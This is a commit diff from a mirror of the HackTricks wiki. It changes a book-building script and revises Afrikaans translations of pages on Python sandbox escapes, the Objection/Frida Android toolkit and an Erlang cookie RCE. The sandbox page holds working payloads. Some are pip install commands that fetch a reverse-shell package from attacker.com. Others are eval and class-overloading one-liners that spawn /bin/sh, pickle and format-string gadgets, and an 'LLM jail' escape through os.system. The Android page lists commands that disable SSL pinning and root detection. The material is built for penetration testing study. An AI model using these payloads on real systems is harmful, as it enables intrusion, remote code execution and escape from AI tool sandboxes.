mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
1507f10323
commit
ef89f4723c
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Dit is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
|
||||
Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds ingevoerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
|
||||
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds geïmporteerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -41,10 +41,9 @@ system('ls')
|
||||
```
|
||||
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Python2 input()** funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
|
||||
> [!CAUTION] > **Python2 input()** funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
|
||||
|
||||
Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python probeer om **biblioteke van die huidige gids eerste** te **laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -53,7 +52,7 @@ Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgen
|
||||
### Standaard pakkette
|
||||
|
||||
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Let daarop dat jy van 'n pickle die python omgewing kan **arbitraire biblioteke** wat in die stelsel geïnstalleer is, kan **importeer**.\
|
||||
Let daarop dat jy vanaf 'n pickle die python omgewing kan **importeer arbitrêre biblioteke** wat in die stelsel geïnstalleer is.\
|
||||
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek importeer om dit te gebruik:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -78,12 +77,14 @@ As jy toegang het tot `pip` of `pip.main()` kan jy 'n arbitrêre pakket installe
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
U kan die pakket aflaai om die omgekeerde skulp hier te skep. Let asseblief daarop dat u dit moet **dekomprimeer, die `setup.py` moet verander, en u IP vir die omgekeerde skulp moet plaas**:
|
||||
U kan die pakket aflaai om die omgekeerde skulp hier te skep. Let asseblief daarop dat u dit moet **dekomprimeer, die `setup.py` moet verander, en u IP vir die omgekeerde skulp moet invoer**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer u die omgekeerde skulp verlaat, die res van die installasie sal misluk, sodat u **nie enige ekstra python pakket op die bediener sal agterlaat** wanneer u vertrek nie.
|
||||
> Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal ontwerp sodat wanneer u die omgekeerde skulp verlaat, die res van die installasie sal misluk, sodat u **nie enige ekstra python pakket op die bediener sal agterlaat** wanneer u vertrek nie.
|
||||
|
||||
## Eval-ing python kode
|
||||
|
||||
@ -134,9 +135,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypass van beskermings deur kodering (UTF-7)
|
||||
## Om beskermingsmaatreëls te omseil deur kodering (UTF-7)
|
||||
|
||||
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n skynbare sandbox te laai en uit te voer:
|
||||
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n blykbare sandbox te laai en uit te voer:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -147,7 +148,7 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Dit is ook moontlik om dit te omseil met ander kodering, byvoorbeeld `raw_unicode_escape` en `unicode_escape`.
|
||||
Dit is ook moontlik om dit te omseil met ander kodering, bv. `raw_unicode_escape` en `unicode_escape`.
|
||||
|
||||
## Python uitvoering sonder oproepe
|
||||
|
||||
@ -177,11 +178,11 @@ class _:pass
|
||||
```
|
||||
### RCE die skep van voorwerpe en oorlaai
|
||||
|
||||
As jy 'n **klas kan verklaar** en 'n **voorwerp van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorlaai** wat **geaktiveer** kan word **sonder** om hulle **direk aan te roep**.
|
||||
As jy 'n **klas kan verklaar** en 'n **voorwerp van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorlaai** wat **geaktiveer** kan word **sonder** om hulle direk te noem.
|
||||
|
||||
#### RCE met pasgemaakte klasse
|
||||
|
||||
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) aanpas om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
|
||||
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk te noem.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -233,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Skep voorwerpe met [metaklasse](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Die belangrikste ding wat metaklasse ons toelaat om te doen, is **om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep**, deur 'n nuwe klas te skep met die teiken klas as 'n metaklasse.
|
||||
Die belangrikste ding wat metaklasse ons toelaat om te doen, is **om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep**, deur 'n nuwe klas te skep met die teikenkas as 'n metaklasse.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -248,9 +249,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Skep objek met uitsonderings
|
||||
#### Skep voorwerpe met uitsonderings
|
||||
|
||||
Wanneer 'n **uitsondering geaktiveer** word, word 'n objek van die **Uitsondering** **geskep** sonder dat jy die konstruktors direk hoef aan te roep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Wanneer 'n **uitsondering geaktiveer** word, word 'n voorwerp van die **Uitsondering** **gecreëer** sonder dat jy die konstruktors direk hoef aan te roep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -314,9 +315,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
### Geen Builtins
|
||||
|
||||
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
||||
Echter, **standaard laai python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **laai ook gevaarlike** funksionaliteite binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
||||
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksies binne-in hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
||||
|
||||
In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne hulle.
|
||||
In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne-in hulle.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -376,7 +377,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals en locals
|
||||
|
||||
Om die **`globals`** en **`locals`** te kontroleer, is 'n goeie manier om te weet wat jy kan toegang.
|
||||
Om die **`globals`** en **`locals`** te kontroleer is 'n goeie manier om te weet wat jy kan toegang.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -438,7 +439,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Vind gevaarlike biblioteke wat gelaai is
|
||||
|
||||
Byvoorbeeld, om te weet dat dit met die biblioteek **`sys`** moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne hulle geïmporteer het**:
|
||||
Byvoorbeeld, as jy weet dat dit met die biblioteek **`sys`** moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne-in hulle geïmporteer het**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
@ -447,7 +448,7 @@ Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Ons kan dieselfde ding doen met **ander biblioteke** waarvan ons weet dat dit gebruik kan word om **opdragte** uit te voer:
|
||||
Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte** uit te voer:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -685,7 +686,7 @@ Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n
|
||||
|
||||
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
||||
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
@ -704,7 +705,7 @@ return 'HAL 9000'
|
||||
**Meer voorbeelde** oor **formaat** **string** voorbeelde kan gevind word in [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!WAARSKUWING]
|
||||
> Kyk ook na die volgende bladsy vir gadgets wat r**eeds sensitiewe inligting uit Python interne voorwerpe**:
|
||||
> Kyk ook na die volgende bladsy vir gadgets wat r**ead sensitiewe inligting uit Python interne voorwerpe**:
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
@ -726,7 +727,7 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails omseil
|
||||
### LLM Jails omseiling
|
||||
|
||||
Van [hier](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
@ -739,9 +740,9 @@ As herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie
|
||||
Jy kan meer hiervan vind in die afdeling [**Python uitvoering sonder oproepe**](#python-execution-without-calls).
|
||||
|
||||
'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry.
|
||||
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
||||
|
||||
Soek 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
|
||||
Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit **lokaal ontleed**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
||||
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit lokaal **ontbind**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -937,7 +938,7 @@ return "Nope"
|
||||
```
|
||||
### Die kode objek te skep
|
||||
|
||||
Eerstens, ons moet weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek is:
|
||||
Eerstens, ons moet weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -984,7 +985,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
In vorige voorbeelde aan die begin van hierdie pos, kan jy **sien hoe om enige python kode uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
|
||||
In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
|
||||
|
||||
Byvoorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
|
||||
Vir voorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1019,9 +1020,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompileerde Gecompileerde Python
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gegewe gecompileerde python kode **decompile**.
|
||||
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gecompileerde python kode **decompile**.
|
||||
|
||||
**Kyk na hierdie tutoriaal**:
|
||||
|
||||
@ -1029,7 +1030,7 @@ Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://ww
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Verskeie Python
|
||||
## Misc Python
|
||||
|
||||
### Assert
|
||||
|
||||
@ -1054,5 +1055,4 @@ sal omseil word
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Inleiding**
|
||||
|
||||
**objection - Runtime Mobile Exploration**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) is 'n runtime mobiele verkenning toolkit, aangedryf deur [Frida](https://www.frida.re). Dit is gebou met die doel om mobiele toepassings en hul sekuriteitsposisie te evalueer sonder die behoefte aan 'n jailbreak of ge-root mobiele toestel.
|
||||
[**Objection**](https://github.com/sensepost/objection) is 'n runtime mobiele verkenning toolkit, aangedryf deur [Frida](https://www.frida.re). Dit is gebou met die doel om te help om mobiele toepassings en hul sekuriteitsposisie te evalueer sonder die behoefte aan 'n jailbreak of ge-root mobiele toestel.
|
||||
|
||||
**Nota:** Dit is nie 'n vorm van jailbreak / root omseiling nie. Deur `objection` te gebruik, is jy steeds beperk deur al die beperkings wat deur die toepaslike sandbox opgelê word.
|
||||
**Let wel:** Dit is nie 'n vorm van jailbreak / root omseiling nie. Deur `objection` te gebruik, is jy steeds beperk deur al die beperkings wat deur die toepaslike sandbox opgelê word.
|
||||
|
||||
### Samevatting
|
||||
|
||||
@ -20,7 +18,9 @@ Die **doel** van **objection** is om die gebruiker toe te laat om die **hoofd ak
|
||||
|
||||
Vir hierdie tutorial gaan ek die APK gebruik wat jy hier kan aflaai:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
Of van sy [oorspronklike berging](https://github.com/asvid/FridaApp)(aflaai app-release.apk)
|
||||
|
||||
@ -30,7 +30,7 @@ pip3 install objection
|
||||
```
|
||||
### Verbinding
|
||||
|
||||
Maak 'n **gereelde ADB-verbinding** en **begin** die **frida** bediener op die toestel (en kyk of frida in beide die kliënt en die bediener werk).
|
||||
Maak 'n **gereguleerde ADB-verbinding** en **begin** die **frida** bediener op die toestel (en kyk of frida werk op beide die kliënt en die bediener).
|
||||
|
||||
As jy 'n **gerootte toestel** gebruik, is dit nodig om die toepassing te kies wat jy binne die _**--gadget**_ opsie wil toets. in hierdie geval:
|
||||
```bash
|
||||
@ -73,7 +73,7 @@ android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
||||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Exec Opdrag
|
||||
#### Exec Command
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
@ -84,7 +84,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
||||
```
|
||||
### Statiese analise gemaak Dinamies
|
||||
|
||||
In 'n werklike toepassing moet ons al die inligting wat in hierdie deel ontdek is, ken voordat ons objection gebruik, danksy **statiese analise**. Hoe dit ook al sy, op hierdie manier kan jy dalk **iets nuuts** sien, aangesien jy hier slegs 'n volledige lys van klasse, metodes en geexporteerde objekte sal hê.
|
||||
In 'n werklike toepassing behoort ons al die inligting wat in hierdie deel ontdek is, te ken voordat ons objection gebruik, danksy **statiese analise**. Hoe dit ook al sy, op hierdie manier kan jy dalk **iets nuuts** sien, aangesien jy hier slegs 'n volledige lys van klasse, metodes en geexporteerde voorwerpe sal hê.
|
||||
|
||||
Dit is ook nuttig as jy op een of ander manier **nie 'n leesbare bronkode** van die toepassing kan kry nie.
|
||||
|
||||
@ -131,7 +131,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
|
||||
#### Lys klasse
|
||||
|
||||
Jy kan ook al die klasse lys wat binne die huidige aansoek gelaai is:
|
||||
Jy kan ook al die klasse lys wat binne die huidige toepassing gelaai is:
|
||||
```bash
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
@ -147,9 +147,9 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Haken (kyk) 'n hele klas
|
||||
#### Hooking (kyk) 'n hele klas
|
||||
|
||||
Ek vind eintlik al die metodes van die klas MainActivity regtig interessant, kom ons **haak hulle almal**. Wees versigtig, dit kan 'n toepassing **neerhaal**.
|
||||
Eintlik vind ek al die metodes van die klas MainActivity regtig interessant, laat ons **hulle almal hook**. Wees versigtig, dit kan 'n toepassing **crash**.
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
@ -159,7 +159,7 @@ As jy met die toepassing speel terwyl die klas gehook is, sal jy sien wanneer **
|
||||
|
||||
#### Verander boolean terugwaarde van 'n funksie
|
||||
|
||||
Uit die bronne kode kan jy sien dat die funksie _checkPin_ 'n _String_ as argument ontvang en 'n _boolean_ teruggee. Kom ons maak die funksie **altyd waar**:
|
||||
Uit die bronkode kan jy sien dat die funksie _checkPin_ 'n _String_ as argument ontvang en 'n _boolean_ teruggee. Kom ons maak die funksie **altyd waar** terug:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -169,7 +169,7 @@ Nou, as jy enigiets in die tekskas vir die PIN-kode skryf, sal jy sien dat enigi
|
||||
|
||||
### Klas instansies
|
||||
|
||||
Soek en druk **lewende instansies van 'n spesifieke Java klas**, gespesifiseer deur 'n volledig gekwalifiseerde klasnaam. Hier is die resultaat van 'n poging om 'n stringwaarde te kry vir 'n ontdekte beswaar wat tipies **eienskapswaardes vir die objek** sou bevat.
|
||||
Soek en druk **lewende instansies van 'n spesifieke Java-klas**, gespesifiseer deur 'n volledig gekwalifiseerde klasnaam. Uit is die resultaat van 'n poging om 'n stringwaarde vir 'n ontdekte beswaar te verkry wat tipies **eienskapswaardes vir die objek** sou bevat.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -221,10 +221,8 @@ exit
|
||||
```
|
||||
## Wat ek mis in Objection
|
||||
|
||||
- Die hooking metodes laat soms die aansoek crash (dit is ook as gevolg van Frida).
|
||||
- Die hooking metodes laat soms die toepassing crash (dit is ook as gevolg van Frida).
|
||||
- Jy kan nie die instansies van die klasse gebruik om funksies van die instansie aan te roep nie. En jy kan nie nuwe instansies van klasse skep en hulle gebruik om funksies aan te roep nie.
|
||||
- Daar is nie 'n snelkoppeling (soos die een vir sslpinnin) om al die algemene kripto metodes wat deur die aansoek gebruik word te hook nie om gesifde teks, gewone teks, sleutels, IVs en algoritmes wat gebruik word te sien.
|
||||
|
||||
|
||||
- Daar is nie 'n snelkoppeling (soos die een vir sslpinnin) om al die algemene kripto metodes wat deur die toepassing gebruik word te hook nie om gesifde teks, gewone teks, sleutels, IVs en algoritmes wat gebruik word te sien.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -40,9 +40,9 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
